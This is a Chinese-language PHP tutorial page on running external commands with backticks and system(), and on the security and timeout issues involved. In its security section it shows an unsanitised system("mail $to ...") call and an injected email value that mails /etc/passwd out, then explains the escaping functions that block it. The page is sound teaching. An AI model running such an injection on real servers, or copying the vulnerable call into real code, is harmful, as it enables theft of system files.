首页
新闻
UniX技术
数据库
经验交流
PHP
Linux考试认证
首页
>
PHP
在PHP中执行系统外部命令
时间:2009-07-13 14:42:56 作者:chinaitlab
我要投稿
Linux初探欢迎您的投稿,投放方法请点击
这里
查看,我们会定期赠送精美小礼品给优秀的投稿作者。海纳百川 取则行远!LinuxGoo欢迎您的到来。
PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部......
<?
$res=`/bin/ls -l`;
echo '<b><pre>'.$res.'</pre></b>';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:
<?
system("mail $to < products.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:
<?
system("/usr/local/bin/order_proc > /tmp/null &");
?>
Hunte于2000年10月28日
3
/
3
首页
上一页
1
2
3
如果您需转载 在PHP中执行系统外部命令,请注明来自LinuxGoo.com,其版权归原作者所有。请广大网友留言时遵纪守法,使用文明用语。如果您在应用中有什么问题,请在下面留言,我们会尽快解答。
来顶一下
返回首页
发表评论
共有
条评论
用户名:
密码:
验证码:
匿名发表
相关文章
利用tr命令轻松实现大小写转换
系统工程师有时候在系统维护的时候,需要将某个文件中的内容进行大小写的转
Apache下,*.php.rar格式的文件被当成php执
一直以来都觉得.rar格式的文件被访问的话,会以附件的方式打开。但是*.php.
PHP+TEXT留言本(五)
现在我们来讲一下reply.php的代码:---------------------------------//r
数据库的可伸缩性的探索
数据库的可伸缩性的探索Author:skateTime:2009-5-30数据库在当今社会越来越
ORACLE正则解决初使化数据格式不一致
在初使化用户基础数据时会出现一些数据格式不正确的情况。。如: 2000-1-1=
如何分别全角和半角以避免乱码
function ChgTitle($title)
{ $length = 46;
if (strlen($title)>$leng
如何做到多筆資料的同步
一次叫出多筆資料,然後在同一個網頁中「逐一」「分別」做不同的處理,最後「
国家、城市等按照字母排序,但个别城市排在最
在一些站点和客户端程序的下拉框里,选择国家等数据时,大部分都是按照字母顺
UTF8下的中文PHP编程
前言:说实话,凉鞋也觉得 UTF8 是好东西……毕竟同屏显示中日韩对东亚人的吸
PHP做Web项目的优缺点
PHP的优点:1. 跨平台,性能优越,跟Linux/Unix结合别跟Windows结合性能强45%,并
如何用php作线形图的函数
很高兴大家对PHP如此的情有独钟!
下面就给大家介绍php作线形图的函数: /*
ZendCache使你的站点飞起来
薛启康(xqk@163.net) 商业应用的网站,其传输效率是十分重要的,通常在一些电
交叉表查询中的累计
交叉表查询无疑有使用中可以很方便的进行数据的分析处理。你可以通过向导
今天是圣诞节,发出2个圣诞皮肤
在这个欢乐的时刻,让我们把桌面也变得有气氛一些吧~Christmas time 是一款
Linux服务器:邮件系统原理
究竟什么是邮件服务器呢?邮件服务器提供了邮件系统的基本结构,包括邮件传输
PHP函数使用入门
PHP 的真正威力源自于它的函数。在 PHP 中,提供了超过 700 个内建的函数。
栏目热门
PHP的PDO类教程
PHP程序为什么"不适用"大型系统的9大原因
PHP Socket编程起步
使用session_set_save_handler函数重载SESS
国外主流PHP框架比较
站内搜索:
Linux
高级搜索
Powered by
Linux初探
© 1999-2009
RSS